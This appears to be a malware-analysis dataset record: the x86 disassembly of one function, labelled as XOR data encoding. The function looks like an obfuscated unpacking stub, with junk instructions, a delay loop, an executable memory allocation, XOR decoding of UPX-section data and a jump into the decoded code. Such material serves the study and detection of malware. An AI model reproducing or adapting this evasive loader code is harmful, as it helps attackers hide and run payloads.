Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x192fd1f2
inc ebx
dec edi
add ebx, 0x770bb027
popal
add edi, 0x9b569e82
mov ebx, edi
sub edi, ebx
mov eax, 0
mov edx, ebx
or ecx, ecx
sub ecx, 0xb908a3a7
mov esi, edx
or edi, edi
and edi, edi
mov ebx, esi
not ecx
add ecx, 1
inc eax
dec ecx
or ecx, edi
cmp eax, 0x1006c5a
jne 0xa789ca
or ecx, ecx
sub ecx, edi
dec edi
and ebx, ebx
inc ebx
mov edi, 0xa78796
and esi, edx
sub esi, 0xd9d68dad
add esi, 1
mov eax, 0xa7898a
dec ebx
sub ebx, edx
mov ecx, dword [edi]
and edx, edx
not esi
inc ebx
and ecx, 0xff
add edx, 0x68c67b4b
or edx, esi
and esi, ebx
xor dword [eax], ecx
add esi, 0xb0229e2d
add edx, 0x9981b807
mov ebx, 0x8f6f6c3a
inc eax
add esi, 0x1be5b55
mov edx, ebx
add esi, 0xf899ad35
inc edi
sub esi, edx
add edx, 0x1c92d330
add edx, edx
cmp eax, entry0
jl 0xa78a17
add esi, 0xe9fab8de
sub ebx, 0x49b72e89
not ebx
and edx, ebx
mov esi, edx
or ecx, esi
mov ecx, 0xd8a6dbf
mov ebx, esi
mov edi, 0xa7898e
add edx, ebx
or edx, esi
inc esi
mov edi, dword [edi]
mov ecx, 0xc59cadf6
add ebx, ebx
mov edi, dword [edi]
inc ecx
add esi, 1
or edx, edx
push edi
not edx
inc edx
mov edi, 0xa7898a
mov edx, 0x82ebe01f
dec ebx
inc ecx
mov edi, dword [edi]
inc ebx
and esi, edx
mov edi, dword [edi]
sub ebx, ecx
inc esi
not esi
sub esp, 4
mov dword [esp], 0xa78992
sub esi, 0xeed7036f
sub esi, ebx
call edi
and esi, esi
inc ebx
dec esi
pop edi
dec ebx
add ebx, 1
mov esi, edx
sub esp, 4
mov dword [esp], 0xa7899f
sub edx, ebx
inc ecx
add ebx, esi
sub esp, 4
mov dword [esp], eax
mov ecx, edx
add ecx, 0xd1a6f827
call edi
sub esi, edx
sub ebx, 1
push 0x40
not ecx
inc ecx
sub ebx, 0xecdf557b
sub esp, 4
mov dword [esp], 0x3000
add ebx, ebx
dec ecx
push 0x20000a19
add ebx, 0x5f8dd507
or ecx, esi
push 0
not ebx
add esi, 0x9feaf110
or edx, ecx
call eax
or ebx, ecx
sub esi, 0x574ec236
add eax, 0x20000983
add ebx, 0x5cd6755c
not ebx
mov edi, 0x56a697af
mov edx, 0x39874dfd
not ebx
mov dword [eax], edi
mov ebx, ecx
sub ecx, ebx
mov edi, dword [eax]
sub edx, 0xcc20f9fe
not ecx
cmp edi, 0x56a697af
je 0xa78b7f
mov eax, 0
mov bl, byte [eax]
mov esi, ecx
add ebx, 0xfe5c9961
mov edx, esi
mov esi, 0xcdee22b
add esi, 0x1c38c895
add edx, 0x26fba6b5
add edi, ebx
sub edi, 0x5e297be9
add ebx, 0x42bfbbb8
mov eax, section.UPX1
or edi, ebx
not ebx
add edi, 0x45a823e7
mov ecx, 0xa78795
sub ebx, 0xc80be0b3
add edi, 0x2462b9f3
mov edx, 0
mov ebx, edi
mov edi, 0xe379919b
mov esi, 0xa78796
mov ebx, 0x2afa9238
sub ebx, edi
and edi, edi
lea esi, [esi + edx]
or edi, edi
mov edi, ebx
add edi, ebx
mov esi, dword [esi]
add ebx, ebx
and ebx, ebx
and esi, 0xff
add edi, ebx
add edi, 0xa4d665b3
and ebx, ebx
inc edx
add edi, 0x83d74b58
mov ebx, 0x8b69a44e
cmp edx, 0x1f4
jne 0xa78c1a
mov edx, 0
sub ebx, 0xbf5366df
mov edi, ebx
sub ebx, edi
and edi, ebx
or edi, ebx
xor dword [eax], esi
add edi, ebx
sub edi, ebx
mov edi, 0x5681f3d3
add eax, 2
sub ebx, 0x88b0f20f
dec ebx
cmp eax, ecx
jl 0xa78bd4
mov edi, 0xa11b1462
sub ebx, edi
sub ebx, edi
sub ebx, edi
mov eax, section.UPX1
inc ebx
not ecx
add ecx, ecx
mov edi, section.UPX1
not ecx
inc ebx
or ecx, ecx
mov esi, 0xa78795
inc ecx
add ecx, 0x8fb0abe9
not ebx
mov edx, 0
mov ecx, ebx
dec ebx
mov dl, byte [edi]
add ebx, ebx
sub ebx, 0x727743e1
mov byte [eax], dl
add ecx, 1
and ecx, ebx
inc eax
add ebx, 0x84ab7d9f
add ebx, ecx
add edi, 2
sub ebx, 0x98a030d4
or ecx, ecx
cmp edi, esi
jle 0xa78c7d
not ebx
sub ebx, ecx
mov ecx, ebx
not ebx
add ebx, edi
push 0x8dc6a0
or edi, ebx
inc edi
ret